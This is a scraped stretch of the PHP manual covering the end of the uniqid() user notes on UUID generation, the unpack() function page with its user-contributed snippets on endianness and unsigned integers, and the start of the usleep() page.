kristoffer dot paro at gmail dot com 13-May-2007 08:05
In response to the notes about UUID generation added by mimec and lance_rushing at hotmail dot com.

Calling mt_rand the fewest possible times is not necessarily the fastest, if it heavily utilizes string handling routines. I did a quick benchmark between the two functions and discovered that lance's function (using only 5 mt_rands) was about 6.5 times _slower_ than mimec's on my system.
Jason 27-Mar-2007 12:10
Neither the pseudo-random number rand() nor the Mersenne Twister algorithms are cryptographically strong, and this is well known.  Simply combining non-cryptographically strong algorithms doesn't not make a cryptographically strong algorithm either.  Mersenne Twister is a fast algorithm with good k-distribution which will give you numbers for a long time before it repeats itself.  MT, rand(), and MD5 should NOT be used for encryption, or for cookies that that store a session ID that gives personal information.  A simple application where non-collision of session IDs is highly preferred but not critical, such as storing a user's shopping cart items for when they return to your site (but not their personal information), IS a good use for the MT, rand() MD5, uniqid() and combinations thereof.
mailrinke at _cutthis_yahoo dot com 19-Feb-2007 05:06
I have been using mimecs version lately and do not think it's safe to think the results are always unqiue.

Although it could be just my bad programming, I found exactly 1 collission while debugging my code. It seems to me that if my code was incorrect it would have happened more than once.

I recommend anyone to include time as a factor of such an ID as to be a little more certain it is in fact unique.
Emery 31-Jan-2007 12:13
The example given in this document for a "better token" should be:

<?php
$better_token = uniqid(md5(rand()), true);
?>

As it is now, the result isn't guaranteed to be unique, because MD5 has collisions.
lance_rushing at hotmail dot com 23-Jan-2007 12:43
wooshoofoo, the reason mimec is calling mt_rand multiple times is because the largest number mt_rand can produce is 2^31 (2147483647, as reported by mt_getrandmax() on my server).  RFC 4122 requires a 128 bit value.

Also they are not "4 digit sequeces", but 4 digit hexadecimal numbers.  16^4 == 2^16.

mimec's limiting each random result to 2^16 avoids problem of PHP's 2^32 integer max (http://php.net/manual/en/language.types.integer.php).

If you want to call mt_rand fewer times:  mimec's version calls mt_rand 8 times ( 16 bits * 8 = 128 bits ).  You *could* call mt_rand 5 times ( 31 bits + 31 bits + 31 bits + 31 bits + 4 bits = 128 bits ).  But then you would have keep all your values as strings.

Something like:

<?php
/**
 * Another (ugly) "random or pseudo-random" version of RFC 4122
 *
 * This version calls mt_rand() the fewest possible times.
 * if mt_getrandmax() == 2^31 then this will call mt_rand() 5 times YMMV
 *
 * Personally, I would use mimec's version
 * To handle the large values, we'll keep everything as strings.
 *
 * @return string
 */
function uuid() {

     // Generate 128 bit random sequence
     $randmax_bits = strlen(base_convert(mt_getrandmax(), 10, 2));  // how many bits is mt_getrandmax()
     $x = '';
     while (strlen($x) < 128) {
         $maxbits = (128 - strlen($x) < $randmax_bits) ? 128 - strlen($x) :  $randmax_bits;
         $x .= str_pad(base_convert(mt_rand(0, pow(2,$maxbits)), 10, 2), $maxbits, "0", STR_PAD_LEFT);
     }

     // break into fields
     $a = array();
     $a['time_low_part'] = substr($x, 0, 32);
     $a['time_mid'] = substr($x, 32, 16);
     $a['time_hi_and_version'] = substr($x, 48, 16);
     $a['clock_seq'] = substr($x, 64, 16);
     $a['node_part'] =  substr($x, 80, 48);

     // Apply bit masks for "random or pseudo-random" version per RFC
     $a['time_hi_and_version'] = substr_replace($a['time_hi_and_version'], '0100', 0, 4);
     $a['clock_seq'] = substr_replace($a['clock_seq'], '10', 0, 2);

    // Format output
    return sprintf('%s-%s-%s-%s-%s',
        str_pad(base_convert($a['time_low_part'], 2, 16), 8, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_mid'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_hi_and_version'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['clock_seq'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['node_part'], 2, 16), 12, "0", STR_PAD_LEFT));
}

?>

However, I think mimec's version is much more elegant.
mailbox1 at highhost dot net 23-Dec-2006 04:22
Also you may use this if you like it.

function uniqid2() {
return dechex(time()).dechex(mt_rand(1,65535));
}
wooshoofoo 06-Dec-2006 06:00
I'm not sure the previous function by mimec is really all that random.  For one thing, generating 8 small random 4 digit sequeces != generating one 32 digit sequence.
mimec 25-Aug-2006 01:36
Here is the correct version of a function generating a pseudo-random UUID according to RFC 4122:

<?php

function uuid()
{
    return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ),
        mt_rand( 0, 0x0fff ) | 0x4000,
        mt_rand( 0, 0x3fff ) | 0x8000,
        mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) );
}

?>

The version and variant is located at the MSB (most significant bits) of the time_hi_and_version and clock_seq_hi_and_reserved fields, not the LSB as in dholmes version.
admin at code-dynasty dot net 08-Jul-2006 08:46
I'm not too fond of the recommendation to use an MD5 of the unique ID for session IDs. It would be a better idea just to use uniqueid(rand(), true) without the MD5, because even though it's a rare circumstance, MD5 is a hash, not an encryption, which means it has collisions. Therefore you theoretically could have multiple users given the same session ID which could result in one user's ability to access another user's data.
dholmes at cfdsoftware dot net 09-May-2006 08:26
WARNING : I believe there are a couple of mistakes in the function provided just below by maciej dot strzelecki at gmail dot com. Namely, that in the two substr_replace() calls, the third parameters should respectively be 12 (instead of 11) and 6 (instead of 5).

Considering the importance of this function, I went to read RFC 4122 myself, and found the discrepancy. I therefore chose to write my own function, inspired by the previous one, but with a few enhancements detailed in the comments. On the downside, it might be slightly less easy to understand at first glance.

Please feel free to use it yourself. Thank you also in advance for any feedback at dholmes at cfdsoftware.net .

<?php

/**
 * Generates a Universally Unique IDentifier, version 4.
 *
 * RFC 4122 (http://www.ietf.org/rfc/rfc4122.txt) defines a special type of Globally
 * Unique IDentifiers (GUID), as well as several methods for producing them. One
 * such method, described in section 4.4, is based on truly random or pseudo-random
 * number generators, and is therefore implementable in a language like PHP.
 *
 * We choose to produce pseudo-random numbers with the Mersenne Twister, and to always
 * limit single generated numbers to 16 bits (ie. the decimal value 65535). That is
 * because, even on 32-bit systems, PHP's RAND_MAX will often be the maximum *signed*
 * value, with only the equivalent of 31 significant bits. Producing two 16-bit random
 * numbers to make up a 32-bit one is less efficient, but guarantees that all 32 bits
 * are random.
 *
 * The algorithm for version 4 UUIDs (ie. those based on random number generators)
 * states that all 128 bits separated into the various fields (32 bits, 16 bits, 16 bits,
 * 8 bits and 8 bits, 48 bits) should be random, except : (a) the version number should
 * be the last 4 bits in the 3rd field, and (b) bits 6 and 7 of the 4th field should
 * be 01. We try to conform to that definition as efficiently as possible, generating
 * smaller values where possible, and minimizing the number of base conversions.
 *
 * @copyright   Copyright (c) CFD Labs, 2006. This function may be used freely for
 *              any purpose ; it is distributed without any form of warranty whatsoever.
 * @author      David Holmes <dholmes@cfdsoftware.net>
 *
 * @return  string  A UUID, made up of 32 hex digits and 4 hyphens.
 */

function uuid() {

    // The field names refer to RFC 4122 section 4.1.2

    return sprintf('%04x%04x-%04x-%03x4-%04x-%04x%04x%04x',
        mt_rand(0, 65535), mt_rand(0, 65535), // 32 bits for "time_low"
        mt_rand(0, 65535), // 16 bits for "time_mid"
        mt_rand(0, 4095),  // 12 bits before the 0100 of (version) 4 for "time_hi_and_version"
        bindec(substr_replace(sprintf('%016b', mt_rand(0, 65535)), '01', 6, 2)),
            // 8 bits, the last two of which (positions 6 and 7) are 01, for "clk_seq_hi_res"
            // (hence, the 2nd hex digit after the 3rd hyphen can only be 1, 5, 9 or d)
            // 8 bits for "clk_seq_low"
        mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535) // 48 bits for "node"
    );
}

?>
maciej dot strzelecki at gmail dot com 16-Apr-2006 11:09
This is an implementation of version 4 UUID, which is generating UUIDs from truly-random numbers.

<?php
/* Copyright 2006 Maciej Strzelecki

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA */

function uuid()
{
    // version 4 UUID
    return sprintf(
        '%08x-%04x-%04x-%02x%02x-%012x',
        mt_rand(),
        mt_rand(0, 65535),
        bindec(substr_replace(
            sprintf('%016b', mt_rand(0, 65535)), '0100', 11, 4)
        ),
        bindec(substr_replace(sprintf('%08b', mt_rand(0, 255)), '01', 5, 2)),
        mt_rand(0, 255),
        mt_rand()
    );
}
?>
time_sleep_until
unpack
Misc. Functions


Unpack data from binary string

uniqid
usleep
Misc. Functions
PHP Manual

unpack

(PHP 4, PHP 5)

unpack — Unpack data from binary string

Description

array unpack ( string $format , string $data )

Unpacks from a binary string into an array according to the given format.

The unpacked data is stored in an associative array. To accomplish this you have to name the different format codes and separate them by a slash /. If a repeater argument is present, then each of the array keys will have a sequence number behind the given name.

Parameters

format

See pack() for an explanation of the format codes.

data

The packed data.

Return Values

Returns an associative array containing unpacked elements of binary string.

Examples

Example #1 unpack() example

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("cchars/nint", $binarydata);
?>

The resulting array will contain the entries "chars" with value 4 and "int" with 160.

Example #2 unpack() example with a repeater

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("c2chars/nint", $binarydata);
?>

The resulting array will contain the entries "chars1", "chars2" and "int".

Notes

Caution

Note that PHP internally stores integral values as signed. If you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified.

Caution

Be aware that if you do not name an element, an empty string is used. If you do not name more than one element, this means that some data is overwritten as the keys are the same such as in:

Example #3 unpack() example with unnamed keys

<?php
$binarydata = "\x32\x42\x00\xa0";
$array = unpack("c2/n", $binarydata);
var_dump($array);
?>

The resulting array will contain the entries "1" with value 160 and "2" with 66. The first value from the c specifier is overwritten by the first value from the n specifier.

See Also

  • pack() - Pack data into binary string

User Contributed Notes

rogier 05-Oct-2011 07:19
be aware of the behavior of your system that PHP resides on.

On x86, unpack MAY not yield the result you expect for UInt32

This is due to the internal nature of PHP, being that integers are internally stored as SIGNED!

For x86 systems, unpack('N', "\xff\xff\xff\xff") results in -1
For (most?) x64 systems, unpack('N', "\xff\xff\xff\xff") results in 4294967295.

This can be verified by checking the value of PHP_INT_SIZE.
If this value is 4, you have a PHP that internally stores 32-bit.
A value of 8 internally stores 64-bit.

To work around this 'problem', you can use the following code to avoid problems with unpack.
The code is for big endian order but can easily be adjusted for little endian order (also, similar code works for 64-bit integers):

<?php
function _uint32be($bin)
{
    // $bin is the binary 32-bit BE string that represents the integer
    if (PHP_INT_SIZE <= 4){
        list(,$h,$l) = unpack('n*', $bin);
        return ($l + ($h*0x010000));
    }
    else{
        list(,$int) = unpack('N', $bin);
        return $int;
    }
}
?>

Do note that you *could* also use sprintf('%u', $x) to show the unsigned real value.
Also note that (at least when PHP_INT_SIZE = 4) the result WILL be a float value when the input is larger then 0x7fffffff (just check with gettype);

Hope this helps people.
David Gero dave at havidave dot com 25-Apr-2011 07:50
You might find these functions useful:

<?php
function byteStr2byteArray($s) {
        return array_slice(unpack("C*", "\0".$s), 1);
}
function byteArray2byteStr(array $t) {
        return call_user_func_array(pack, array_merge(array("C*"), $t));
}
function lsbStr2ushortArray($s) {
        return array_slice(unpack("v*", "\0\0".$s), 1);
}
function ushortArray2lsbStr(array $t) {
        return call_user_func_array(pack, array_merge(array("v*"), $t));
}
function lsbStr2ulongArray($s) {
        return array_slice(unpack("V*", "\0\0\0\0".$s), 1);
}
function ulongArray2lsbStr(array $t) {
        return call_user_func_array(pack, array_merge(array("V*"), $t));
}
?>

Of course, you can address byte strings as if they're arrays with numerical indexes, but the other functions are helpful.
Anonymous 04-Jan-2011 07:51
Between php version 5.1 and 5.1.3 unpack("H*hex", $data) returned wrong data due to bug http://bugs.php.net/36148.
zac at picolink dot net 22-Oct-2010 08:33
The documentation is clear that an integer read using an unsigned format character will still be stored as a signed integer.  The often-cited work-around is to use sprintf('%u', $bigint) to properly display integers with the MSB set.

In the case where the numeric value is more important than how it's displayed, you can still work with other large integers using intval() to "upgrade" your existing unsigned integers.

I had a problem comparing 32-bit integers read from files with hard-coded constants (file signatures tend to need this).  Here's what I did to avoid converting everything into strings:

<?php

$bigint = 0x89504E47;

$packed = pack('N', $bigint);

list($unpacked) = array_values(unpack('N', $packed));

//The $bigint remains an unsigned integer.
//Even though their bit-wise values are identical, comparison fails.

echo 'bigint ',
  ($bigint == $unpacked ? '==' : '!='),
  " unpacked\n";

//intval() triggers a re-interpretation of $bigint.
//$bigint is internally compared as a signed integer.
//Since the bit-wise value of $bigint never changes, comparison succeeds.

echo 'intval(bigint) ',
  (intval($bigint) == $unpacked ? '==' : '!='),
  " unpacked\n";

?>

It works, but it's a little backwards.  If anyone has any ideas on how to "downgrade" a signed integer into an unsigned integer without using strings, that would be a valuable note to add to the documentation.
Aaron Wells 08-Oct-2010 03:06
Another option for converting binary data into PHP data types, is to use the Zend Framework's Zend_Io_Reader class:
http://bit.ly/9zAhgz

There's also a Zend_Io_Writer class that does the reverse.
norwood at computer dot org 06-Apr-2010 02:15
Reading a text cell from an Excel spreadsheet returned a string with low-order embedded nulls: 0x4100 0x4200 etc. To remove the nulls, used

<?php
$strWithoutNulls = implode( '', explode( "\0", $strWithNulls ) );
?>

(unpack() didn't seem to help much here; needed chars back to re-constitute the string, not integers.)
Anonymous 23-Sep-2009 08:02
Functions I found useful when dealing with fixed width file processing, related to unpack/pack functions.
<?php
/**
* funpack
* format: array of key, length pairs
* data: string to unpack
*/
function funpack($format, $data){
    foreach ($format as $key => $len) {
        $result[$key] = trim(substr($data, $pos, $len));
        $pos+= $len;
    }
    return $result;
}

/**
* fpack
* format: array of key, length pairs
* data: array of key, value pairs to pack
* pad: padding direction
*/
function fpack($format, $data, $pad = STR_PAD_RIGHT){
    foreach ($format as $key => $len){
        $result .= substr(str_pad($data[$key], $len, $pad), 0, $len);
    }
    return $result;
}
?>
sica at wnet com br 20-Jul-2009 12:45
The script following is a example how to save more than one values on file separating its with "\r\n" and how to recovering its values.

<?php
// Save two integer values in a binary file
$nomearq = "./teste.bin";
$valor = 123;
$ptrarq = fopen($nomearq, "wb");
$valorBin = pack("L",$valor);
echo "First value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
echo "Separator \\r\\n with ";
echo fwrite($ptrarq, "\r\n")." bytes<br>";
$valor = 456;
$valorBin = pack("L",$valor);
echo "Second value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
fclose($ptrarq);

// Recover the saved values
$ptrarq = fopen($nomearq, "rb");
$valorBin = file($nomearq,filesize($nomearq));
echo "<br>The reading values is:<br>";
foreach($valorBin as $valor){
  $valor = unpack("L",$valor);
  print_r($valor);
  echo "<br>";
}
fclose($ptrarq);
?>

Results:
First value (123) packed with 4 bytes
Separator \r\n with 2 bytes
Second value (456) packed with 4 bytes

The reading values is:
Array ( [1] => 123 )
Array ( [1] => 456 )
jlarsen at fsu dot edu 09-Dec-2008 03:40
As with perl, the count for hex is number of nybbles or half-bytes, this differs from the other options which count in full bytes.
Nhon 21-May-2008 01:42
As stated above, "if you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified."

To restore the original unsigned value, you could do this :

if ($unpackedVal <0)
{
      $unpackedVal += 4294967296;
}

Hope this helps !

Cheers
Anonymous Coward 28-Mar-2008 10:52
Warning: This unpack function makes the array with keys starting at 1 instead of starting at 0.

For example:
<?php
 function read_field($h) {
  $a=unpack("V",fread($h,4));
  return fread($h,$a[1]);
 }
?>
joe dot nemeth @ palg dot com 08-Feb-2008 10:29
A simpler solution is to mask the value with 0xffffffff. For instance:

<?php
$rec = unpack(
  "Vvalue/".
  "Vhash32/",
  $recbin);
$rec['hash32'] &= 0xffffffff;
$rec['value'] &= 0xffffffff;
?>

Unlike sprintf(), which converts the value to a string, this preserves the numeric type of the value.
Shawn Kelly 06-Feb-2008 12:14
Above it says this:

  "Note that PHP internally stores integral values as signed. If  you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified."

This happened to me.  I wanted to get a big number from a unsigned long, but it kept coming returning a negative.  Happened to notice that sprintf('%u',$dta) will take the useless negative and restore it into its large unsigned proper magnitude.

Hope this saves someone a little time...
phpclub at rambler dot ru 07-Nov-2007 04:28
Correct substr

If you are trying to make unpack 'N' work with unsigned long on 64 bit machines, you should take a look to this bug:
http://bugs.php.net/bug.php?id=40543

An ugly workaround for me was:

//Read a 4-byte integer from file
      $_r = fread($f,4);
      $a=unpack('Ni',$_r);
      $b = sprintf("%b", $a['i']); // binary representation
      if(strlen($b) == 64){
           $new = substr($b, 32);
           $a['i'] = bindec($new);
       }
Carsten Meier 14-Sep-2007 06:12
The previous code has an error:
$low = $val & 65536;
has to be:
$low = $val & 65535;
Otherwise only bit #16 gets masked an not the lower 16 bit.
ein at anti-logic dot com 02-Aug-2007 03:13
If you need to unpack an unsigned long that's larger than php's limit (2^31-1) and don't mind doing a lot of fiddling, an easy solution is to unpack it as two shorts.

For example

<?php
$val = 2147483647; // we can't actually assign a number larger than 2^31-1 in php to an int, but if you're reading it from outside, it's easy to get larger than that.
// split it into two 16 bit words
$high= $val>>16;
$low = $val & 65536;
$packed= pack('nn',$high,$low);

// we have a 32bit long packed number assigned to $packed
$unpacked = unpack('nhigh\nlow',$packed);
$final = ($unpacked['high'] << 16) + $unpacked['low'];
?>

Of course this works equally as well as unpacking an externally created unsigned long.
This is most usefull when dealing with bitmasks, where the high and low word don't need to be connected.

Working with signed values is also possible, but I don't have any code examples to share (no need for them myself).
elpaso 06-Mar-2007 05:38
If you are trying to make unpack 'N' work with unsigned long on 64 bit machines, you should take a look to this bug:
http://bugs.php.net/bug.php?id=40543

An ugly workaround for me was:

//Read a 4-byte integer from file
      $_r = fread($f,4);
      $a=unpack('Ni',$_r);
      $b = sprintf("%b", $a['i']); // binary representation
      if(strlen($b) == 64){
           $new = substr($b, 33);
           $a['i'] = bindec($new);
       }
eric dot brison at anakeen dot com 25-Jan-2007 02:25
An simple function to decode active directory sid
function sid_decode($osid) {
  $sid=false;
  $u=unpack("H2rev/H2b/nc/Nd/V*e", $osid);
  if ($u) {
    $n232=pow(2,32);
    unset($u["b"]); // unused
    $u["c"]= $n232*$u["c"]+$u["d"];
    unset($u["d"]);
    $sid="S";
    foreach ($u as $v) {
      if ($v < 0) $v=$n232 + $v;
      $sid.= "-".$v;
    }
  }
  return $sid;
}
// example
$osid64="AQUAAAAAAAUVAAAA3DixrE8XmGks/zdlAwIAAA==";
print sid_decode(base64_decode($osid64));

// display : S-01-5-21-2897295580-1771575119-1698168620-515
Justin dot SpahrSummers at gmail dot com 08-Oct-2005 12:10
I hadn't realized that if the number after the unpack type was 1 (i.e. "V1page"), that it would behave as if there was no number at all. I had been using a variable and didn't think to watch for this. For instance,

<?php

if ($something)
   $get = 2;
else
   $get = 1;

$arr = unpack("V" . $get . "page", $data);

?>

Now if $something was FALSE, then $arr will only have one entry named "page". If $something was TRUE, $arr would have "page1" and "page2".
Cristiano - finatofinato at yahoo dot com dot br 19-Jul-2005 06:31
STORE FILES IN DATABASE SQL_SERVER

After days of research, I obtained a solution to my "big-problem" working with php5/sqlserver/iis

//IN PHP.INI
//Valid range 0 - 2147483647.  Default = 4096.
mssql.textsize = 2147483647

=============<INSERT>==================
$dataString = file_get_contents($_FILES['myfile']['tmp_name']);
$arrData = unpack("H*hex", $dataString);
$ds = "0x".$arrData['hex'];

$sql = "SET TEXTSIZE 2147483647";
mssql_query($sql, $conn);
$sql = " insert into table (myimage, name, extension) values (".$ds.", '".$name."', '".$extension."') ";
mssql_query($sql, $conn);
=============</INSERT>==================

=============<RETRIEVE>==================
$sql = "SET TEXTSIZE 2147483647";
@mssql_query($sql, $conn);
$sql = " select myimage, name, extension from table ";
$rs = @mssql_query($sql, $conn);

header("Content-Disposition: attachment; filename=".$rs['name'].".".$rs['extension']." ");
echo $rs['myfile'];

=============</RETRIEVE>==================

with apache does not work in some cases (work with txt files, but not work with pdf, .doc....), and you will try to do another solution (the solution is more simple than this of sqlserver)
info at dreystone dot com 04-May-2005 11:31
Here is my solution to reading a Big-Endian formatted double on an Little-Endian machine.

<?php

function ToDouble($data) {
    $t = unpack("C*", pack("S*", 256));
    if($t[1] == 1) {
        $a = unpack("d*", $data);
    } else {
        $a = unpack("d*", strrev($data));
    }
    return (double)$a[1];
}

?>
MagicalTux at FF dot st 28-Apr-2005 07:17
tomlove at gmail dot com gave a code to easily unpack a string. Here's a variant :

<?php
$packed = pack("s*", 123);
list($unpacked) = unpack("s*0", $packed);
?>

$unpacked now holds the value 123, not an array.

unpack() will use numeric keys if you give only numbers (probably same check as is_numeric(), but I didn't test). This can be useful in some cases (like for getting directly your data without using arrays).
jjfoerch at earthlink dot net 21-Oct-2004 04:57
I had a situation where I had to unpack a file filled with little-endian order double-floats in a way that would work on either little-endian or big-endian machines.  PHP doesn't have a formatting code that will change the byte order of doubles, so I wrote this workaround.

<?php
/*The following code is a workaround for php's unpack function
which does not have the capability of unpacking double precision
floats that were packed in the opposite byte order of the current
machine.
*/
function big_endian_unpack ($format, $data) {
    $ar = unpack ($format, $data);
    $vals = array_values ($ar);
    $f = explode ('/', $format);
    $i = 0;
    foreach ($f as $f_k => $f_v) {
    $repeater = intval (substr ($f_v, 1));
    if ($repeater == 0) $repeater = 1;
    if ($f_v{1} == '*')
    {
        $repeater = count ($ar) - $i;
    }
    if ($f_v{0} != 'd') { $i += $repeater; continue; }
    $j = $i + $repeater;
    for ($a = $i; $a < $j; ++$a)
    {
        $p = pack ('d',$vals[$i]);
        $p = strrev ($p);
        list ($vals[$i]) = array_values (unpack ('d1d', $p));
        ++$i;
    }
    }
    $a = 0;
    foreach ($ar as $ar_k => $ar_v) {
    $ar[$ar_k] = $vals[$a];
    ++$a;
    }
    return $ar;
}

list ($endiantest) = array_values (unpack ('L1L', pack ('V',1)));
if ($endiantest != 1) define ('BIG_ENDIAN_MACHINE',1);
if (defined ('BIG_ENDIAN_MACHINE')) $unpack_workaround = 'big_endian_unpack';
else $unpack_workaround = 'unpack';
?>

This workaround is used like this:

<?php

function foo() {
        global $unpack_workaround;
    $bar = $unpack_workaround('N7N/V2V/d8d',$my_data);
//...
}

?>

On a little endian machine, $unpack_workaround will simply point to the function unpack.  On a big endian machine, it will call the workaround function.

Note, this solution only works for doubles.  In my project I had no need to check for single precision floats.
kennwhite dot nospam at hotmail dot com 28-Aug-2004 12:32
If having a zero-based index is useful/necessary, then instead of:

$int_list = unpack("s*", $some_binary_data);

 try:

$int_list = array_merge(unpack("s*", $some_binary_data));

This will return a 0-based array:

$int_list[0] = x
$int_list[1] = y
$int_list[2] = z
...

rather than the default 1-based array returned from unpack when no key is supplied:

$int_list[1] = x
$int_list[2] = y
$int_list[3] = z
...

It's not used often, but array_merge() with only one parameter will compress a sequentially-ordered numeric-index, starting with an index of [0].
Sergio Santana: ssantana at tlaloc dot imta dot mx 09-Jul-2004 10:54
This is about the last example of my previous post. For the sake of clarity, I'm including again here the example, which expands the one given in the formal documentation:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
     echo "\$array[$key] = $value <br>\n";
?>

This outputs:

$array[chars1] = 65
$array[chars2] = 65
$array[int] = 65

Here, we assume that the ascii code for character 'A' is decimal 65.

Remebering that the format string structure is:
<format-code> [<count>] [<array-key>] [/ ...],
in this example, the format string instructs the function to
  1. ("c2...") Read two chars from the second argument ("AA ...),
  2. (...chars...) Use the array-keys "chars1", and "chars2" for
      these two chars read,
  3. (.../n...) Read a short int from the second argument (...\0A"),
  4. (...int") Use the word "int" as the array key for the just read
      short.

I hope this is clearer now,

Sergio.
Sergio Santana: ssantana at tlaloc dot imta dot mx 08-Jul-2004 07:41
Suppose we need to get some kind of internal representation of an integer, say 65, as a four-byte long. Then we use, something like:

<?
  $i = 65;
  $s = pack("l", $i); // long 32 bit, machine byte order
  echo strlen($s) . "<br>\n";
  echo "***$s***<br>\n";
?>

The output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

4
***A***

(That is the string "A\0\0\0")

Now we want to go back from string "A\0\0\0" to number 65. In this case we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number 65
  $arr = unpack("l", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value<br>\n";
?>

And this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[] = 65

Let's give the array key a name, say "mykey". In this case, we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number  65
  $arr = unpack("lmykey", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value\n";
?>

An this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[mykey] = 65

The "unpack" documentation is a little bit confusing. I think a more complete example could be:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
    echo "\$array[$key] = $value <br>\n";
?>

whose output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

$array[chars1] = 65 <br>
$array[chars2] = 65 <br>
$array[int] = 65 <br>

Note that the format string is something like
<format-code> [<count>] [<array-key>] [/ ...]

I hope this clarifies something

Sergio
David Alsbury 25-Apr-2003 02:04
This is the best example I have found to use unpack.  I was finally able to make sense of the documentation afters seeing how they used the function.

http://fooassociates.com/phpfer/html/rn45re878.html

Quick Example:

<?
header("Content-type: text/plain");

/*
N unsigned long (always 32 bit, big endian byte order)
N = 4 bytes
"N2int_var" will read 8 bytes into 2 vars int_var1 and int_var2

binary string A324 = decimal 1,093,874,228
binary string &*12 = decimal 640,299,314

C unsigned char
"Cchar_var" will read 1 byte into char_var

binary string J = decimal 74
*/

$assoc_array = unpack("N2int_var/Cchar_var", "A324&*12J");
echo "int_var1 = ", $assoc_array['int_var1'], "\n";
echo "int_var2 = ", $assoc_array['int_var2'], "\n";
echo "char_var = ", $assoc_array['char_var'], "\n";
?>

Sample Output:
int_var1 = 1093874228
int_var2 = 640299314
char_var = 74
adam at adeptsoftware dot com 16-Jun-2002 09:01
If you just want to extract a dword/long int from a binary string, the following code works beautifully (intel endian):

$Number = ord($Buffer{0}) | (ord($Buffer{1})<<8) | (ord($Buffer{2})<<16) | (ord($Buffer{3})<<24);
DanRichter.at.programmer.dot.net 10-Apr-2001 11:26
If no key name is given [e.g., unpack('C*',$data)], the keys are simply integers starting at 1, and you have a standard array. (I know of no way to get the array to start at zero.)

If you use multiple types, you must give a key name for all of them (except optionally one), because the key counter is reset with each slash. For example, in unpack('n2/C*',$data), indices 1 and 2 of the returned array are filled by integers ('n'), then overwritten with characters ('C').
iredden at redden dot on dot ca 11-Mar-2000 04:34
<?php

function parse_pascalstr($bytes_parsed, $parse_str) {
    $parse_info = unpack("x$bytes_parsed/cstr_len", $parse_str);
    $str_len = $parse_info["str_len"];
    $bytes_parsed = $bytes_parsed + 1;
    $parse_info = unpack("x$bytes_parsed/A".$str_len."str", $parse_str);
    $str = $parse_info["str"];
    $bytes_parsed = $bytes_parsed + strlen($str);

    return array($str, $bytes_parsed);
}

?>
uniqid
usleep
Misc. Functions


Delay execution in microseconds

unpack
Parsekit
Misc. Functions
PHP Manual

usleep

(PHP 4, PHP 5)

usleep — Delay execution in microseconds

Description

void usleep ( int $micro_seconds )

Delays program execution for the given number of micro seconds.

Parameters

micro_seconds

Halt time in micro seconds. A micro second is one millionth of a second.

Return Values

No value is returned.

Changelog

Version | Description
5.0.0 | This function now works on Windows systems.

Examples

Example #1 usleep() example

<?php

// Current time
echo date('h:i:s') . "\n";

// wait for 2 seconds
usleep(2000000);

// back!
echo date('h:i:s') . "\n";

?>

The above example will output:

11:13:28
11:13:30

See Also

  • sleep() - Delay execution
  • time_nanosleep() - Delay for a number of seconds and nanoseconds
  • time_sleep_until() - Make the script sleep until the specified time
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

marc dot etter at swissonline dot ch 17-Aug-2011 01:26
There is a very strange behaviour, which I experience under Win7 64-bit, PHP 5.3.6:

The very first call of usleep of the PHP script will (sometimes) wait significantly shorter than it actually should.

<?php
usleep(1); // Dodge the strange behaviour
for ($i = 0; $i < 20; $i++) // Reapet 20 times
{
    $start_time = microtime(true); // save start time
    usleep(10000); // wait theoretical 10ms
    $end_time = microtime(true); // save end time
    $wait_time[] = ($end_time - $start_time) * 1000; // calc the difference (which should be around 10ms)
}
var_dump($wait_time); // dump all the results
?>

If you leave away the first line (usleep(1);) you will get varying values for $wait_time[0] between 1 and 13, whilst all the other values are around 15 (for me).
adrian dot voica at gmail dot com 12-Oct-2009 07:15
VERY VERY IMPORTANT!!!

Under Windows systems, if you do not set the time limit of the execution of your script to 0 ("set_time_limit(0);"), the php executable will eat as much as 50% CPU power when using sleep or usleep functions.

This is an extremely annoying behavior. It took me a lot of time to figure it out. It may have something to do with the fact that the usleep and sleep are "supervised" by the time limit set by set_time_limit() which defaults to 30 seconds; --that's just my assumption. I may be wrong, I am only human ;)

It's quite simple, but the set_time_limit() function is poorly documented at this level.

<?php
 set_time_limit(0); // Remove the time limit for command-line usage;
 $counter = 0; // Some simple counter;
 while ($counter < 100) { // Do nothing for 100*100 miliseconds (10 seconds);
  $counter++;
  usleep(100000); // Sleep for 100 miliseconds;
 }

Good luck!
Docey 27-May-2007 02:19
WARNING!!

the snippet below by 'Marius (mm at co-operation dot de)' is NOT a usleep and it will keep the CPU at 100% running. why people keep posting that crap is a complete mystery for me.

